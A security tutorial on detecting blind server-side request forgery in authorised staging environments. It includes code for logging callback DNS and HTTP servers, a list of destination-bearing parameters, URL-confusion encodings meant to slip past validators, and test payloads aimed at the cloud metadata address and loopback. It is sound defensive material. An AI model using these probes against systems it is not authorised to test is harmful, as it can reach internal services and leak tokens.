Blind SSRF Detection With Out-of-Band Callbacks
Server-side request forgery is easy to find when the response comes back. The dangerous variant is the one that returns nothing at all: the endpoint accepts a URL, a background job fetches it, and the interface shows the same generic success message whether the fetch reached your internal metadata service or failed entirely. No response, no error, no signal — until someone finds it deliberately.
Out-of-band detection supplies the missing signal. You control a domain, the payload points at it, and a callback proves the server made the request. This guide sets that up: a logging callback domain, hostnames that identify their own probe, coverage across every parameter class that becomes a destination, and a regression test per finding. It is part of the Server-Side Request Forgery (SSRF) Prevention guide within Vulnerability Patterns & Web Mitigation Strategies.
Prerequisites
- A domain you control, with the ability to run its authoritative name server
- A staging environment resembling production, and written authorisation to test it
- An inventory of endpoints accepting anything that could become a destination
- A place to record findings and convert them into tests
Expected Outcomes
- A callback domain logging every query and request, with the full subdomain preserved
- Probes whose hostnames identify the endpoint and parameter that generated them
- Coverage across URL fields, webhooks, document references and destination-bearing headers
- A regression test for every confirmed finding
Step 1: Stand Up a Callback Domain That Logs Everything
# dns_logger.py — an authoritative name server that records every query.
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A
import json, time, sys
class LoggingResolver(BaseResolver):
def resolve(self, request, handler):
qname = str(request.q.qname).rstrip(".")
print(json.dumps({
"ts": time.time(),
"type": "dns",
"qname": qname, # the whole label carries the correlation id
"qtype": QTYPE[request.q.qtype],
"peer": handler.client_address[0], # the resolver, often revealing the network
}), flush=True)
reply = request.reply()
reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("203.0.113.10"), ttl=1))
return reply
DNSServer(LoggingResolver(), port=53, address="0.0.0.0").start()
# http_logger.py — anything that follows the resolution lands here.
from http.server import BaseHTTPRequestHandler, HTTPServer
import json, time
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"ts": time.time(), "type": "http", "host": self.headers.get("Host"),
"path": self.path, "ua": self.headers.get("User-Agent"),
"peer": self.client_address[0], # frequently the egress address of the target
"headers": dict(self.headers), # sometimes carries an internal token
}), flush=True)
self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
do_POST = do_GET
HTTPServer(("0.0.0.0", 80), Handler).serve_forever()
Log both layers. A DNS query with no HTTP request tells you resolution happened but egress was blocked — still a finding, because the code path exists and hostname labels can carry data outward regardless of whether a connection is permitted.
Step 2: Make Each Probe Identify Itself
import uuid, hashlib
CALLBACK_DOMAIN = "oob.example-security.net"
def probe(endpoint: str, parameter: str) -> tuple[str, str]:
token = uuid.uuid4().hex[:12]
label = hashlib.sha1(f"{endpoint}|{parameter}".encode()).hexdigest()[:8]
host = f"{token}.{label}.oob.example-security.net"
return host, f"https://{host}/probe"
# Every probe records what generated it, so a callback three minutes later is attributable.
LEDGER = {}
for endpoint, parameters in INVENTORY.items():
for parameter in parameters:
host, url = probe(endpoint, parameter)
LEDGER[host] = {"endpoint": endpoint, "parameter": parameter, "sent_at": time.time()}
send_request(endpoint, {parameter: url})
The correlation matters more than it seems. Blind findings surface through asynchronous jobs, so a callback can arrive minutes after the request that caused it, long after any request-scoped context is gone. Without a self-identifying hostname you are left with a callback and no idea which of two hundred probes produced it.
Step 3: Probe Every Parameter That Could Become a Destination
Obvious URL fields are usually already hardened. The findings live in parameters nobody classified as destinations.
PARAMETER_CLASSES = {
"explicit url": ["url", "uri", "src", "href", "endpoint", "target", "redirect"],
"webhook": ["callback_url", "webhook", "notify_url", "postback"],
"document ref": ["stylesheet", "template_url", "xslt", "schema_location"],
"media import": ["avatar_url", "image_url", "thumbnail", "og_url", "favicon"],
"data import": ["feed_url", "import_from", "source", "manifest"],
"header-derived": ["X-Forwarded-Host", "X-Original-URL", "Referer", "Host"],
}
ENCODINGS = [
"https://{h}/probe", # plain
"https://{h}@internal.example/probe", # userinfo confusion
"https://internal.example#@{h}/probe", # fragment confusion
"//{h}/probe", # scheme-relative
"https://{h}./probe", # trailing dot
]
Header-derived destinations deserve particular attention: a link-preview or document-render service that constructs a URL from a forwarded host header is a destination parameter nobody documented, and it is reachable from any request rather than from a specific form field.
Step 4: Convert Every Finding Into a Regression Test
def test_webhook_url_refuses_external_destinations(client, oob_domain):
"""SSRF-2026-003: the webhook validator resolved an arbitrary hostname."""
r = client.post("/api/webhooks", json={"callback_url": f"https://{oob_domain}/probe"})
assert r.status_code == 400
assert callbacks_for(oob_domain, within_seconds=120) == [] # nothing was ever fetched
def test_webhook_url_refuses_internal_ranges(client):
for dest in ("http://127.0.0.1/", "http://169.254.169.254/latest/meta-data/",
"http://[::1]/", "http://2130706433/"):
assert client.post("/api/webhooks", json={"callback_url": dest}).status_code == 400
Assert on the absence of a callback as well as on the status code. A validator can return 400 after the fetch has already happened — the request is refused, the damage is done — and only the callback log distinguishes the two.
Verification
# 1. The callback infrastructure logs both layers.
dig +short probe-selftest.oob.example-security.net @ns1.oob.example-security.net
curl -s https://probe-selftest.oob.example-security.net/probe >/dev/null
tail -2 /var/log/oob/*.jsonl | jq -r '"\(.type) \(.qname // .host)"'
# Expect one dns line and one http line, both carrying the label.
# 2. A known-vulnerable staging endpoint produces a callback.
curl -s -X POST https://staging.example.com/api/webhooks \
-H 'Content-Type: application/json' -H "Cookie: $SESSION" \
-d "{\"callback_url\":\"https://$(uuidgen | tr -d - | cut -c1-12).probe.oob.example-security.net/x\"}"
sleep 300 && grep -c 'probe.oob' /var/log/oob/dns.jsonl
# 3. After the fix, the same probe produces nothing within the window.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| No callbacks from any probe | The name server is not authoritative for the domain | Check delegation at the registrar and query the authoritative server directly |
| DNS callbacks but never HTTP | Egress filtered, or the code only resolves and never connects | Record it as a finding anyway; the code path is what matters |
| Callbacks arrive with no identifiable label | A resolver cached or rewrote the query | Use a short time to live and a unique label per probe, never a shared host |
| Callbacks minutes late and unattributable | Asynchronous processing plus no ledger | Encode correlation in the hostname; keep the ledger keyed by host |
| Findings vanish after redeployment | Staging rebuilt from a different branch | Pin the environment during a test window and record the commit |
| Probe rejected by input validation | Destination field validated for format only | Test the format-valid cases too; the flaw is destination choice, not syntax |
Common Implementation Mistakes
Frequently Asked Questions
Why does a DNS lookup alone count as a finding?
Because it proves the server took a hostname from your input and resolved it, which means the destination is attacker-influenced. Egress filtering may have blocked the connection today, but the code path exists, egress rules change, and hostname labels can carry small amounts of data outward through the query itself. Treat resolution as the finding and the blocked connection as a compensating control that happened to be in place.
Where do blind SSRF flaws usually hide?
In features nobody classifies as fetching anything: webhook configuration, a document converter following a stylesheet reference, an avatar imported from a URL, a feed importer, a link preview generator, a PDF renderer resolving an image. The recurring shape is a field that accepts a location plus a background job that visits it later — which is also why the callback arrives minutes after the request and why request-scoped correlation does not survive.
Is a public callback service acceptable for this?
For a quick check against a staging system, yes. For anything touching production or customer data, run your own: probe payloads and callback contents routinely carry internal hostnames, headers and occasionally tokens, and sending those to a third party is a disclosure in its own right. A logging name server and a logging web server on a domain you control is an afternoon of work and removes the question entirely.
Related
- Server-Side Request Forgery (SSRF) Prevention — the parent guide covering the controls these probes test
- SSRF Allowlists and Metadata Service Protection — the layered defence around instance credentials
- DNS Rebinding and IP Allowlist Bypass — why validating the hostname is not enough
- Automated Attack Surface Discovery With OWASP ZAP — finding the endpoints worth probing in the first place